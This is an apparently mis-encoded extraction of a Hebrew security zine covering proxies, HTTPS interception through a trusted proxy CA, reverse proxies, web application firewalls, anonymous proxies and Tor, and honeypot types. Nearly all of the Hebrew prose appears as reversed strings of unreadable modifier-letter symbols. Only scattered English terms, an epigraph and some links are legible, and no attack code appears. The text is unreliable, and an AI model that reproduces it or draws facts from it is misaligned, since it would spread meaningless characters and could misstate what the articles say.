ˢ˴˵ˢ ˷ˬ˸˷ˬ˪ ˢ˞˶˧ ?˸ˣ˧ˣ˶˷˲˞ ˧˸˷ ˭ˮ˷˧: 

 

1. ˢ˷ ˶˥˞˪-Proxy ˰ˡ˧ˬˢ ˸˞ ˪˩˰˪ ˫˧˧˯˧ ,ˢ ˸˞ ˷ˡ˥ˬ ˭˧˲˴˧ ˞ˣˢ-SESSION ˷ˬ˸˷ˬˢ ˪ˣˬ ˪˞ .

˰ˬ˷ˬ-  ˠ˴ˣˢ˷ ˦˵˧˲˧˦˶˯ˢ ˪˰ ˨ˬˣ˯ ˞ˣˢ ˫˞ˣ ˸˥˦˟ˣ˞ˬ˩ ˢ˶ˣ˟˰˸ˢ ˸˞ ˢ˞˶˧ ˭˧˧ˡ˰ ˷ˬ˸˷ˬˢ

ˣ˪ ,ˣ˸ˮ˧˥˟ˬ ˭˧˵˸ ˢ˧ˢ˧ ˭˧˧ˮ˰ˢ .˫˧˷ˬ˸˷ˬ ˪˪˩ ˨˶ˡ˟˷ ˢ˦˧˷ˢ ˸˞ˤ  ˸˥˦˟ˣ˞ˬ ˞˧ˢˣ ˸ˣ˧ˢ ˢ˟

 ˸ˣ˲˵˸ˢ ˸˰ˮˣˬˣ ˶˸ˣ˧MITM ˢ ˸˶˷ ˭˧˟ ˸ˣ˲˯ˣˮ-Proxy ˫˧˷ˬ˸˷ˬ˪ . ˠ˴ˣˬ˷ ˦˵˧˲˧˦˶˯ˢ

 ˧ˡ˧ ˪˰ ˵˲ˮˣ˧ ˷ˬ˸˷ˬ˪CA  ˣ˞ ˧ˮˣˠ˶˞CA ˶˥˞ ˭˧ˬ˞. 

 

2. ˢ˷ ˶˥˞˪ ˧˩ ˸˯˶ˣˠ ˸˥˦˟ˣ˞ˬ ˸ˣ˥˲ˢ ˢ˦˧˷ˢ-Proxy ˢ ˸˶ˣ˟˰˸ ˸˞ ˥˸ˣ˲-HTTPS , ˶˧˟˰ˬ ˞ˣˢ

 ˸˶ˣ˴˸˟ ˷ˬ˸˷ˬ˪ ˢ˞˪ˢ ˰ˡ˧ˬˢ ˸˞HTTP .˷ˬˢ ˶˸˞˪ ˷˪ˣˠ ˣ˸ˮ˧˥˟ˬ ˷ˬ˸HTTP ˪˧ˠ˶ .

˶ˣˬ˞˩ ,˷ˣˬ˧˷˪ ˢ˴ˣ˲ˮ ˸ˣ˥˲ ˢ˦˧˷ˢ ˭˩˪ˣ ˢ˶ˣ˟˰˸˪ ˭˧ˤ˞ˢ˪ ˭˸˧ˮ ˢˤ ˟˪˷˟. 
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 ˸ˣ˷˰˪ ˸ˣ˥˧˪˴ˬ ˞˪ ˫˧˷ˮ ˢˬ˪Reverse Proxy? 

 

˷ ˣˮ˶ˬ˞ ˫˞-Proxy ˢˤˢ ˡ˰ˣ˧ˬˢ ˸˶˷ˢ ˨˶ˡ ˞˴˧ ˦ˮ˶˦ˮ˧˞˪ ˷˪ˣˠ˷ ˧ˬ ˪˩˷ ˨˩˪ ˡ˰ˣ˧ˬ ,Reverse Proxy 

˨ˣ˲ˢ ˵ˣ˧ˡ˟ ˞ˣˢ .˧ˠˬ˷ ˧ˬ ˪˩ˢ ˸˶˷ ˨˶ˡ ˷ˣ˪ˠ˪ ˨˶˦˴˧ ˣˮ˪˷ ˶˸˞˪ ˦ˮ˶˦ˮ˧˞ˢˬ ˰-Proxy ˣˮ˪˷. 

-sProxy ˸ˣ˧˶˵˧˰ ˸ˣ˶˦ˬ ˢˬ˩˪ ˡ˰ˣ˧ˬ ˨ˣ˲ˢˢ: 

 

¶ ˟ ˷ˣˬ˧˷-load balancer  ˧˸˶˷ ˢˬ˩ ˭˧˟ ˫˧˯ˬˣ˰ ˭ˤ˞˪ ˸ˮˬ ˪˰WEB , ˸ˣ˶˧˸˧ ˸˲˯ˣˢˣ

˶˸˞˪ .˪˲ˣˮ ˡ˥˞ ˸˶˷ ˫˞˷ ˞˧ˢ ˸ˣ˰ˬ˷ˬˢ ,ˣˬˣ˵ˬ˟ ˸ˣ˶˧˷ˢ ˸˞ ˵˲˯˧ ˶˥˞ ˸˶˷-

˸ˣˡ˶˷˧ˢ. 

 

¶ sˮ ˠˢ- ˣˬ˧˷˟ ˷-Proxy  ˪ˣˬ ˞˴ˬˮ ˫˴˰˟˷ ˢˤ ˞ˣˢ˷ ˨˩˟ ˢˮˠˢ ˣˮ˪ ˵˲˯ˬ ˨ˣ˲ˢ

˦ˮ˶˦ˮ˧˞ˢ ,ˢ ˸˶˷ ˞˪ˣ-WEB ˣˬ˴˰˟ .ˢ ˸˶˷ ˪˷ˬ˪ ˫˞-WEB  ˪˰ ˳˶IIS  ˠˣ˞ˡ˪ ˨˧˶˴ ˞˪

)˸ˣ˥˲ ˪˟˞ ˨˧˶˴ (ˣ˪˷ ˸ˣ˴ˣ˲ˮ ˸ˣ˧ˣ˰˧ˠ˲ˬ ,˦ˮ˶˦ˮ˧˞ˢ ˪ˣˬ ˸ˣ˶˧˷˧ ˥ˣ˸˲ ˞˪ ˞ˣˢ ˧˩. 

 

¶ ˟ ˷ˣˬ˧˷ ˢ˷˰ˮ ˸ˣ˟˶ ˫˧ˬ˰˲-Web Application Firewall , ˣ˪ ˷˧ˡ˵ˢ˪ ˢˣˣ˷˷ ˞˷ˣˮ

ˣˬ˴˰ ˪˷ˬ ˡ˥˞ ˶ˬ˞ˬ ˸ˣ˥˲˪ .˫˧˪˧ˬ ˢˬ˩˟ ,-sFW ˟ ˢ˶ˣ˟˰˸ˢ ˸˞ ˵ˡˣ˟ ˢˤˢ-L7 

˧˲˵˸ˢ ˧˲ˣ˞ ˸˪˰˟ ˞˪ˣ ˸˧ˬ˧˦˧ˠ˪ ˞˧ˢ ˶˸˞ˢ ˪˞ ˢ˰˧ˠˬ˷ ˢ˶ˣ˟˰˸ˢ ˧˩ ˞ˡˣˣˬˣ . ˪˷ˬ˪

 ˧ˮ˲ˬ ˢˮˠˢSQL Injection ,-sWAF  ˫˷ ˣ˞ ˫˷ ˭˧ˤˢ˪ ˶ˣˬ˞˷ ˦˯˵˦ ˢˡ˷˟˷ ˭˧˥˟ˢ˪ ˰ˡ˧

ˢ˥˲˷ˬ , ˭ˬ˧˯ˢ ˯ˮ˩˧˧˷ ˶ˣ˯˞˷ ˢ˞˶ˮ˩."=" 

 

¶  ˫˧˰ˣ˴˧˟ï ˢ ˸ˣ˟ˣ˶˵ ˫˧˸˰˪-Reverse Proxy  ˭ˣˠ˩ ˫˧˟˞˷ˬ ˧˩˶ˣ˴ ˫˧ˡ˧˵˲˸ ˣˬ˴˰ ˪˰ ˥˵ˣ˪

 ˰ˣ˴˧˟ ˣ˞ ˨ˣˣ˸ˢ ˸ˮ˲˴ˢcaching ,ˢ ˸˶˷ ˪˰ ˪˵ˢ˪ ˪ˣ˩˧ ˨˩˟ˣ-WEB ˣˬ˴˰˟. 

 

 

http://www.digitalwhisper.co.il/files/Zines/0x0A/DW10-5-WAFs.pdf
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Anonymous Prox ies 

 

 ˧˸˶˷Proxy ˱˯ˣˮ ˷ˣˬ˧˷ ˪˟˵˪ ˣ˪˧˥˸ˢ ˫˪ˣ˰˟-  ˢ˶ˣ˴˟ ˷ˣ˪ˠ˪ ˪˟˸ ˸ˣˣ˴˵ ˪˩ˬ ˫˧˷ˬ˸˷ˬ˪ ˢ˶ˤ˰

˸˧ˬ˧ˮˣˮ˞ . ˧˸˶˷ ˫ˮ˷˧Proxy ˫˩˶ˡ ˢ˷˧˪ˠ ˫˧˶˷˲˞ˬˢ ˫˧˧˷˲ˣ˥ , ˸˟ˣ˸˩ ˸˞ ˫˧˶˧˸˯ˬ ˫˴˰˟ ˨˩ ˧ˡ˧ ˪˰ˣ

-sIP ˫˧˰˧ˠˬ ˫ˢ ˢˮˬˬ .˱˯ˣˮ˟ ,˪ ˢ˧ˢ˧ ˭˸˧ˮ ˞˪˷ ˧ˡ˩˟ ˢ˶ˣ˟˰˸ˢ ˸˞ ˫˧ˮ˧˲˴ˬ ˢ˪˞ ˫˧˸˶˷ˬ ˵˪˥ ˭˧ˤ˞ˢ

ˢ˶ˣ˟˰˸˪ .˫˧˪˟˶ˣ˯ˬˣ ˫˧˧˦˧˞ ˪˪˩ ˨˶ˡ˟ ˫ˢ˷ ˞˧ˢ ˢ˪˞ ˫˧˶˸˞ ˫˰ ˢˮ˦˵ˢ ˢ˧˰˟ˢ . ˢ˪ˣˡˠˢ ˢ˧˰˟ˢ

˫˩˶ˡ ˸˶˟ˣ˰˷ ˢ˶ˣ˟˰˸˪ ˭˧ˤ˞ˢ˪ ˸ˮˬ ˪˰ ˡ˰ˣˮ ˫˟ˣ˶ˣ ˡˣ˞ˬ ˡ˰ ˫˧˵˲˵ˣ˲ˬ ˫ˢ˷ ˞˧ˢ ˢ˪˞ ˫˧˶˸˞˟ ,

˨ˣ˷˥ ˱˸˶ˬ˟ ˫˧˷˪ˣˠˢ ˪˷ ˸ˣ˞ˬ˯˧˯ˢˣ ˸ˣˬ˷ˢ ˸˞ ˶ˣˬ˷˪ˣ. 

 

˸˧ˬ˧ˮˣˮ˞ ˢ˷˧˪ˠ ˪˷ ˡˣ˞ˬ ˫˯˶ˣ˲ˬ ˦˵˧ˣ˶˲  ˞˶˵ˮTor )(The Onion Router , ˦˵˧ˣ˶˲ˢ ˧˶˴ˣ˧˷ ˸ˣ˶ˬ˪

˱˵ˣ˸˟ ˫˧˷˧˥˩ˬ . ˪˷ ˞˴˞˴ ˞ˣˢ ˦˵˧ˣ˶˲ˢonion routing ï  ˧˟˧˸ˮ ˸˶˸˯ˢ ˢ˸˧˧ˢ ˣ˸˶˦ˬ˷ ˶˥˞ ˦˵˧ˣ˶˲

˸˷˶ˢ .Tor ˫˧˟ˡˮ˸ˬ ˪˷ ˸˷˶ ˥˵˪, ˫˧˪˞˧˴ˮ˦ˣ˲ ˢ˷˧˪ˠ ˧˪ˣ˪˯ˬ ˭ˣˬˢ ˫˧˶˴ˣ˧ ˡ˥˧˷ . ˢ˯ˮ˧˷ ˡ˥˞ ˪˩

 ˸˷˶ ˨˶ˡ ˷ˣ˪ˠ˪Tor ˢ˟ ˪ˣ˪˯ˬˢ ˶˥˞ ˸ˣ˵˥˸ˢ˪ ˡˣ˞ˬ ˢ˷˵ ˢ˧ˢ˧˷ ˸˲˰ˣ˯ˬ ˸˷˶ ˨˶ˡ ˶˟˰ˣ˧ . ˫ˠ ˨˞

Tor ˭˧˦ˣ˪˥˪ ˸˧ˬ˧ˮˣˮ˞ ˢˮ˧˞ ,˫ˣ˧˩ ˢ˥ˣ˦˟ˢ ˢ˷˧˪ˠˢ ˸˧˧˴˲ˣ˞ ˪ˣ˩˧˟˩ ˞˧ˢ˷ ˸ˣ˶ˬ˪ˣ-  ˢ˧ˠ˶ˮ˞ ˫˧˰˧˵˷ˬ ˫˞

˪ˠˢ ˶ˣ˵ˬ ˶˥˞ ˸ˣ˵˥˸ˢ˪ ˭˸˧ˮˢ˷˧ . ˸˷˶ ˪˩ ˸˞ ˸˶˦ˮˬ ˸˧˶˟ˢ ˸ˣ˴˶˞ ˸˪˷ˬˬ˷ ˞˧ˢ ˸˥ˣˣ˶ˢ ˢ˰ˣˬ˷ˢ

Tor ˢ˴˵˪ ˢ˴˵ˬ. 

 

˫ˣ˩˧˯ 

 

 ˧˸˶˷Proxy ˸ˮ˩ˣ˯ˬ˪ ˸˟˷˥ˮˢ ˢ˶ˣ˟˰˸ ˪˰ ˢ˶˵˟ˣ ˢ˦˧˪˷ ˫˧˶˷˲˞ˬ . ˢ˷˧ˠ ˱ˣ˩˞˪ ˸˪ˣ˩˧ ˫˧ˮ˸ˣˮ ˫ˢ

˰ ˫˧˶˸˞˪"˫˧ˮˣˠ˶˞ˬ ˰ˡ˧ˬ ˸ˠ˧˪ˤ ˸˰˧ˮˬ˪ ˫˧˷ˬ˷ˬˣ ˸˧ˮˣˠ˶˞ ˸ˣ˧ˮ˧ˡˬ ˟ . ˧˸˶˷ ˸ˣ˶˷˰ ˫˧ˬ˧˧˵Proxy 

˷˲ˣ˥˧˸˧˟ˢ ˷ˬ˸˷ˬ˪ ˫˧˧ ,˭˲ˡ˲ˡ˪ ˱˯ˣ˸ ˸˶ˣ˴˸˟ ˫˧˰˧ˠˬ ˱˞ ˫˵˪˥ˣ . ˫˟ˣ˶ ˫ˮˬ˞"˫˧ˮ˩ˣ˯ˬ "˷ˣˬ˧˷˪ ,

˫˧ˬ˧ˣ˯ˬ ˫˧˶˵ˬ˟ ˫˧˪˧˰˧˪ ˫˸ˣ˞ ˨ˣ˲ˢ˪ ˪ˣ˩˧ ˭ˣ˩ˮ ˸˰ˡ ˪ˣ˵˧˷ ˸˪˰˲ˢ ˨˞. 

 

 

 

 

  

 

http://www.digitalwhisper.co.il/files/Zines/0x07/DW7-4-TORAnalyzing.pdf


 

 

HoneyPots 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠ11 ,˦˯ˣˠˣ˞ 2010  42 

 

HoneyPots 
˸˞ˬ ˭˧˧˷ ˪˞ˮ˸ˮ 

 

ˢˬˡ˵ˢ 

 

"Suppose," he said to Piglet, "you wanted to catch me, how would you do it?" 
"Well," said Piglet, "I should do it like this. I should make a Trap, and I should put a Jar of Honey 

in the Trap, and you would smell it, and you would go in after it." 
- Winnie The Pooh. 

 

"˷˟ˡ ˸ˡˣ˩˪ˬ- ˧ˡ˧˧ˬ ˭ˣ˶˸˧ ˣ˟ ˷˧˷ ˢ˸˲ˬ ˶˟ˡ ,ˢ ˨ˣ˶˞ˢ ˥ˣˣ˦˟ ˪˟˞ˣ˪˟˵ˬ˟ ˰ˣˠ˲˪ ˡ˧˸˰ ˞ˣ .˶ˣ˵ˬ˟ :

 ˧ˣ˸˧˲ ˸˶˰ˮ˪ ˪ˣˠ˧˶ˢ ˫˪ˣ˰ˬ ˧ˣˮ˧˩)ˢ˦˧˥˯ ˫˷˪ ˟ˣ˶˪ ˸˪˰˲ˣˬˢ".( 

)˸˧˶˟˰ˢ ˢ˲˷ˢ ˭ˣ˪˧ˬˬ ˥ˣ˵˪- http://www.safa-ivrit.org.( 

 

˰ˣˡ˧˩ ,˷˧˭ˮ ˧˪˞ˣ˦˶˧ˣˣ˪ ˧˸˧ˬ˞ˢ ˫˪ˣ˰ˢ ˭˧˟ ˸ˣ˟˶ ˸ˣ˪˟˵ˢ ,ˡˣ˩˪ˬ ˪˷ ˣˤ ˢ˪˟˵ˢˣ ˧ˬ˰˦˪ ˞˧ˢ ˷˟ˡˢ ˸ˣ

˸ˣ˥˪˴ˣˬˢ ˸˥˞ .˫˧˟˷˥ˬ ˪˷ ˢ˧ˠˣ˪ˣˮ˧ˬ˶˦˟ ,ˡˣ˩˪ˬˣ ˣ˞ ˷˟ˡ ˸Honeypots ˭s ˡˣ˩˪ˬˣˬ˵ˣˬˢ ˸ˣ ˪˰ ˸

˭˧˥˟ˢ˪ ˸ˮˬ ,˰ˡ˧ˬ ˸ˣ˩˶˰ˬ˟ ˢ˷˶ˣˬ ˞˪ ˷ˣˬ˧˷˪ ˸ˣˮˣ˧˯˧ˮ ˪˶˦ˮ˪ ˫˧ˣ˯ˬ ˭˟ˣˬ˟ˣ ˸ˣˮ˷˪ .˪ ˢˬˣˡ˟-" ˸˶˰ˮ

˧ˣ˸˧˲" ,ˢ ˸˷˶˟ ˫ˣ˵˧ˬ ˣ˞ ˟˷˥ˬ ˶ˣ˸˟ ˸˶˧˧˦˴ˬ ˞˧ˢ˷ ˨˩ ˢ˧ˣˮ˟ ˸ˡˣ˩˪ˬˢ ˧˟˧˦˵˶˦˞ ˰ˡ˧ˬ ˫˧˪˧˩ˬ

˱˵ˣ˸˪ ,˸ˡˡˣ˟ˬ ˞˧ˢ ˢ˷˰ˬ˪ ˨˞ ,˸˶˦ˣˮˬˣ ˸ˮˠˣˬ . ˣˤ ˢ˪ˣ˰˲ ˸˦˧˷"ˢ˸˲ˬ " ˸ˡˣ˩˪ˬ˪ ˳ˣ˶˲˪ ˱˵ˣ˸ˢ ˸˞

˸˷˶˟ ˱˵ˣ˸ˢ ˪˷ ˣ˧˸ˣ˪ˣ˰˲ ˪˩ ˸˞ ˥˸ˮ˪ˣ ˶˦ˮ˪ ˢ˸ˣ˞ ˟˧˴ˢ˷ ˫˶ˣˠ˪ ˸˶˷˲˞ˬˣ . ˷˟ˡˢ ˸ˡˣ˩˪ˬ ˞˧ˢ ˧˪˩

˸ˣˮˣˣˠˬ ˸ˣ˧˴˵˧˪˲˞ ˫˰ ˷˧ˬˠ ˡˣ˞ˬ,  ˢ˧˰˟˪ ˢˮ˰ˬ ˸ˣ˵˲˯ˬ ˞˪ ˸ˣˡˣ˩˪ˬˢ ˫˧˷ˣˬ˧˷ ˸ˣ˪˰˟ ˞˪˞ ˸ˡˡˣ˟

ˢ˰˧ˮˬ ˭ˣˠ˩ ˫˧˟ˣ˶ˬ , ˱ˣ˯˧˞ ˣ˞ ˧ˣˢ˧ˤ˰ˡ˧ˬ ˪˷ . 

 

ˮ˷˧ ˭˷˟ˡˢ ˸ˣˡˣ˩˪ˬ ˪˷ ˫˧ˠˣ˯ ˢˬ˩ ,˱˸ˣ˷ˬ ˭ˣ˶˵˧˰ ˭˪ˣ˩˪ ˨˞- ˧˶˴ ˞˪ ˸˷˶˟ ˷˟ˡ ˸ˣˡˣ˩˪ˬ ˸ˬ˵ˢˢ˩ 

˸˷˶˟ ˫˧˶˥˞ ˫˧˸ˣ˶˧˷ˣ ˸ˣ˧˴˵˧˪˲˞ ˪˰ ˰˧˲˷ˢ˪ . ˭ˢ˷ ˢˡ˟ˣ˰˟ ˢˮˣˬ˦ ˷˟ˡˢ ˸ˣˡˣ˩˪ˬ ˪˷ ˸ˣ˟˧˷˥ˢ

˸ˣˡ˰ˣˬ ˸ˣ˧ˢ˪ ˸ˣ˩˧˶˴ ˢ˴˧˶˲˪ ,˸ˣ˶˥˞ ˸ˣˮ˩˯˪ ˣ˞ ˢ˲˧˵˸˪. 

 

ˢ ˸˶˦ˬ˶ˣ˵˯˪ ˶ˬ˞ˬ ,˶˞˸˪ ,ˣ˟ ˷ˣˬ˧˷ˢ ˸˞ˣ ˷˟ˡˢ ˸ˣˡˣ˩˪ˬ ˭ˣˮˠˮˬ ˸˞ ˶˧˟˯ˢ˪ˣ ˥˸ˮ˪ , ˣ˧˸ˣ˧ˣˣˤ ˪˩ ˪˰

˶˸ˣ˧˟ ˸ˣ˟ˣ˷˥ˢ . 

 

http://www.safa-ivrit.org/
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˨˶ˣ˴ˢ 
 

 ˥˸˲˸ˢ ˷˟ˡ ˸ˣˡˣ˩˪ˬ ˥˸˲˪ ˨˶ˣ˴ˢ˟˵˰ ˣˮ˪˷ ˰ˡ˧ˬˢ ˪˰ ˢˮˠˢˢ ˸˞ ˪˪˩˷˪ˣ ˯˯˟˪ ˣˮ˪˷ ˭ˣ˴˶ˢ . ˶˟ˣˡˬ

˟ ˸˥˞ˬˬ˷ˬˢ ˸ˣ˟˶ ˸ˣ˟˩˷ ˪˰ ˸˧˟˦˧ˬ ˢˮˠˢˣ ˡˣ˟˧˶˪ ˸ˣ˷ ˪˩ ˣ˧˪˰ ˰ˡ˧ˬˢ˴˶ˮ ˭ˠˢ˪. 

 

 ˫˧˟ˣ˷˥ ˧˩ˢ ˫˧˟˞˷ˬˢ ˡ˥˞ ˞ˣˢ ˦ˮ˶˦ˮ˧˞ˢ˫ˣ˧˩ ˣˮ˪-  ˣˢˤ˶ˠ˞ˬ ˫˪ˣ˰˟ ˶˸ˣ˧˟ ˪ˣˡˠˢ ˰ˡ˧ˢ , ˷ˬ˷ˬ ˞ˣˢ

˰ˡ˧ˬ ˱ˣ˸˧˷ˣ ˸˶ˣ˷˵˸˪ ,˸ˣ˷˧˩˶ˣ ˸ˣ˧ˮ˵ ˰ˣ˴˧˟˪ ,˸ˣ˧ˣ˶˩ˢ ,˩ˣ ˫˧˧ˮˣ˥˦˟ ˫˧˩˶˴ˢ˞˪ˢ ˭ .˨˩˪ ˧˞ , ˶˲˯ˬ

 ˪ˡˠ ˣ˟ ˫˧˷ˬ˸˷ˬˢ˰ˬ˷ˬ ˭˲ˣ˞˟ ˧˸ˣˢˮ˷ ˧ˡˬ .˦ˮ˶˦ˮ˧˞ˢ ˪˷ ˸ˣ˟˧˷˥ˢ ˸ˣ˥˸˲˸ˢˣ ˢˬˡ˵ˢ ˫˰ ˡ˥˧, 

 ˫ˣ˴˰ˢ ˰ˡ˧ˬˢ ˪˰ ˫˧ˬˣ˧˞ˢ ˫ˠ ˣ˥˸˲˸ˢˢ˱˸ˣ˷ˬ ,˸˷˶˟ ˫ˣ˧ ˧ˡˬ ˭˯˥ˣ˞ˬˣ ˶˟˰ˣˬ . ˫˰ ˡˡˣˬ˸ˢ˪ ˸ˮˬ ˪˰

˫˧ˬˣ˧˞ ˣ˪˞ ˶˰ˬ ˸ˬˠˣˡ˩ ˫˧ˮˣˣˠˬˣ ˫˧ˮˣ˷ ˢ˥˦˟˞ ˸ˣˮˣ˶˸˲ ˣ˥˸˲˸ˢ˩˯ˣ˶˧ˣˣ ˧˦ˮ˞ ˸ˣ ,˷˞ ˸ˣˬˣ˥ ,ˣ ˸ˣ˩˶˰ˬ

IDS .˪˞ ˸ˣˮˣ˶˸˲ x˵˲˯ˬ˫˧ ˦ˮ˶˦ˮ˧˞˟ ˭ˢ˟ ˫˧˪˵˸ˮ ˣˮ˞˷ ˸ˣ˧˰˟˪ ˢ˲˧ ˢˮ˰ˬ ,˸ˣ˵˧˲˯ˬ ˭ˢ ˫˞ˢ ˨˞ ? ˫˞ˢ

˫˧ˡˬˣ˰ ˣˮ˞ ˣ˪ˣˬ ˟˧ˣ˞ˢ ˸˞ ˟ˣ˦ ˵˧˲˯ˬ ˫˧˶˧˩ˬ ˣˮ˥ˮ˞ ? ˱ˡ˶ˬ˟ ˡ˧ˬ˸ ˣ˧ˢ˧ ˢ˪˞ ˸ˣ˩˶˰ˬ˷ ˞˧ˢ ˸ˬ˞ˢ

˫˧˶ˣ˥˷ˢ ˫˧˰˟ˣ˩ˢ ˧˶˥˞ ,˟˶ˢ ˣˮ˶˰˴˪ˣ ,˫ˢ˧˶ˣ˥˞ˬ ˡ˥˞ ˡ˰˴ ˡ˧ˬ˸. 

 

ˢ ˸˩˶˰ˬ ˢ˥˸ˣ˲ ˣˤ ˢ˶˦ˬ˪ ˵ˣ˧ˡ˟-Honeypot ,ˬ ˪˰˟˧ˣ˞ˢ ˧ˮ˲˪ ˡ˥˞ ˡ˰˴ ˢ˧ˢ˸˷ ˸ˮ . ˟˷˥ˬ ˸˩˶˰ˬ ˣˤ

 ˢ˶˦ˬ ˸ˣ˧ˢ˪ ˢˡ˰ˣˮ˷"ˢ˸˲ˬ " ˨˧˪ˢ˸ ˪˰ˣ ˱˵ˣ˸ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˱ˣ˯˧˞ ˞˧ˢ ˢ˪˷ ˪˰ˢ ˸˶˦ˬˣ ˫˧˶˵˞ˢ˪

ˢ˲˵˸ˢˢ , ˶˟ˡˢˮ˟ˢ˟ ˰˧˧˯ˬˢ  ˪˷˰˧ˮˬˢ , ˸ˮˬ ˪˰ ˢ˲˵˸ˢ ˢ˸ˣ˞ ˪˷ ˭ˣˠ˶˧˞ˢ ˨˶ˡ ˸˞ˣ ˸ˣˠˢˮ˸ˢˢ

ˡ˧˸˰˟ ˣˤ ˢ˲˵˸ˢ ˰ˣˮˬ˪ˣ ˶˸ˣ˧ ˢ˟ˣ˦ ˢˮˠˢ ˶ˣ˴˧˪ .ˣ˷ˢ˟ ˸ˣ˩˶˰ˬ˪ ˢ˞ˣIDS , ˸˩˶˰ˬ˪Honeypot  ˭ˣ˶˸˧ ˷˧

˪ˣˡˠ ˡ˥˞- ˸˩˶˰ˬ˟ ˳˶˷ ˪˧˰˲ ˟˧˩˶ ˫ˣ˷ ˭˧˞˷ ˭ˣˣ˧˩ˬ ˢˡˣ˷˥ ˢ˶ˣ˟˰˸ ˪˰ ˞ˣˣ˷ ˸ˣ˰˶˸ˢ ˸˶˴˧˧ˬ ˞˪ ˞˧ˢ .

˫˧˶˥˞ ˰ˡ˧ˬ ˸ˣ˶ˣ˵ˬ ˫˰ ˣ˟˧˪˴ˢ˪ˣ ˸˩˶˰ˬ˟ ˶˟ˣ˰˷ ˰ˡ˧ˬ ˪˷ ˦˧˟ ˪˩ ˡ˰˸˪ ˸˩˶˰ˬ˪ ˸˶ˤˣ˰ ˣˤ ˢˡ˟ˣ˰,  ˪˰

ˢˣ ˢ˲˵˸ˢˢ ˸ˣˡˣ˞ ˸˥˞ ˢˮˣˬ˸ ˶˧˧˴˪ ˸ˮˬ˱˵ˣ˸. 

 

 ˸ˣ˩˶˰ˬHoneypots  ˸ˣ˵˲˯ˬˢ˲˴ˮˢˬ ˶˸ˣ˧ ˟˶ ˰ˡ˧ˬ ,˞ ˸ˣ˷ˬ˷ˬ ˟ˣ˶˪ˣ ˱ ˫˧˰˪ˣ˸ˣ ˸ˣ˲˵˸ˢ ˧ˣˢ˧ˤ˪

˸ˣ˷ˡ˥ .˟ ˡ˥ˣ˧ˬˢ ˶˟ˡˢ-Honeypot ˷ ˞ˣˢ˟ ˶˟ˣˡˬ ˢ˧˧ˠˣ˪ˣˮ˩˦˸˯˯ˣ˟ˬˢ  ˧˪˰˟ ˫˧˷ˮ˞ ˫˧ˬ˧˧˵˷ ˨˩ ˪˰

˸ˣ˧ˮˣˡˤ ˸ˣˮˣˣ˩ .˭ˣ˶˵˧˰ ˣ˸ˣ˞ ˪˰ ˸ˣˡ˟ˣ˰ ˢˤ ˠˣ˯ˬ ˸ˣ˩˶˰ˬˢ ˪˩- ˪˞ ˸˷ˠ˪ ˶ˣˬ˞ ˞˪ ˡ˥˞ ˱˞ ˸˩˶˰ˬˢ ,

˶ˣ˟˧˥ ˶˴ˣ˧ ˣˢ˷˧ˬ˷ ˰ˠ˶˟ˣ-  ˢˤ ˢ˪ˣ˰˲˟ ˶˟ˣˡˬ˶ˣ˷˧˞ ˞˪˪. 
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˷˟ˡˢ ˸ˣˡˣ˩˪ˬ ˧ˠˣ˯ 

˭˸˶˦ˬ ˧˲ ˪˰ ˷˟ˡ ˸ˣˡˣ˩˪ˬ ˠˣˣ˧˯ 
 

ˢ ˸ˣ˩˶˰ˬ-Honeypot ˪˩ˢ ˸ˣ˷˰˪ ˸ˣ˰ˡˣ˧ ˞˪- ˫ˠˣ ˨˶ˣ˴ ˨˩˟ ˭˧˞ .˷˟ˡ ˸ˣ˩˶˰ˬ ˪˷ ˫˧ˠˣ˯ ˢˬ˩ ˫ˮ˷˧ ,

˭˸˶˦ˬ ˧˲˪ ˸ˣˮˣ˷ ˸ˣ˧˶ˣˠ˦˵˪ ˸ˣ˵˪ˣ˥ˬ ˶˷˞ :ˢˮˠˢ ˸˶˦ˬ, ˸˶˦ˬ ˶˵˥ˬ, Honeytokens-  ˭ˮ˧˞˷ ˸ˣˡˣ˩˪ˬ

˟˷˥ˬ ˸ˣˣˢˬ. 

 

1. Production Honeypots- ˢˮˠˢ ˸˶˦ˬ˪ ˸ˡˣ˩˪ˬ 

 

ˢˤ ˠˣ˯  ˞ˣˢ˶˸ˣ˧˟ ˳ˣ˲ˮˢ ˷˟ˡˢ ˸ˣˡˣ˩˪ˬ ˭˧˟ˬ ˶˸ˣ˧˟ . ˷ˣˬ˧˷˟ ˸˞˴ˬˮ ˣˤ ˸ˡˣ˩˪ˬ ˪˷ ˫˧ˮˣˠ˶˧˞
˸ˣ˟˧˟˯˟ˣ ˢˡˣ˟˰ ˸ˣˮˣ˷, ˫˧ˮˣ˩˧˯ˢ ˸ˮ˦˵ˢ˟ ˰˧˧˯˪ˣ ˭ˣˠ˶˧˞ˢ ˪˰ ˭ˠˢ˪ ˸ˮˬ ˪˰ .ˣˤ ˸˩˶˰ˬ  ˢ˪˧˰ˣˬ
ˬ ˶˸ˣ˧˟˫ˣ˷ ˶˸˞ˢ ˧˟˞˷ˬ˪ ˸˧ˡ˧ˬ ˢˮˠˢ ˸˵˲˯ˬ ˞˧ˢ˷ .˟ ˶˟ˣˡˬˣ ˸ˣ˧ˢ ˪ˣ˰˲˸˪ ˸˧˯˥˧ ˢ˪˵ ˸˩˶˰ˬ

˶˵˥ˬ ˸ˣ˶˦ˬ˪ ˸˩˶˰ˬ ˶˷˞ˬ ,˫˧ˮˣ˷ ˫˧ˮˣˠ˶˧˞˟ ˢ˰˧ˬ˦ˢ˪ ˪˵. ˭ˣ˶˯˧˥ˢ ˰˟ˣˮ ˫ˠ ˭˞˩ˬ-  ˸ˣ˶ˬ˪
˷˸˩˶˰ˬˢ ˢ˲˵˸ˢ ˸ˣ˧ˮ˟˸ ˸ˣˢˤ˪ ˸˪ˠˣ˯ˬ, ˸ ˞˧ˢ˵˲˯ ˫˧˲˵ˣ˸ˢ ˸ˣˡˣ˞ ˰ˡ˧ˬ ˸ˣ˥˲ . ˸ˣ˶˷˲˞ ˢˮ˷˧

ˬ ˣˤ˧˞ˬ ˡˣˬ˪˪ ˳ˣ˶˲˪ˣ ˸ˣ˯ˮ˪ ˸ˮˬ ˪˰ ˫˧˷ˬ˸˷ˬ ˫ˢ ˫˧˦˧˧ˣ˪˲˯˵˞ ˢˤ˧˞˟ˣ ˫˧˞˟ ˫˧˲˵ˣ˸ˢ ˸˩˶˰
˸˩˶˰ˬ˪ ,˫˧ˮˠ˶ˣ˞ˬ ˫ˢ ˨˧˞ˣ ˫˧˲˵ˣ˸ˢ ˪˰ ˰ˡ˧ˬ ˸ˣ˪ˠ˪ ˞˪ ˪˟˞. 

 

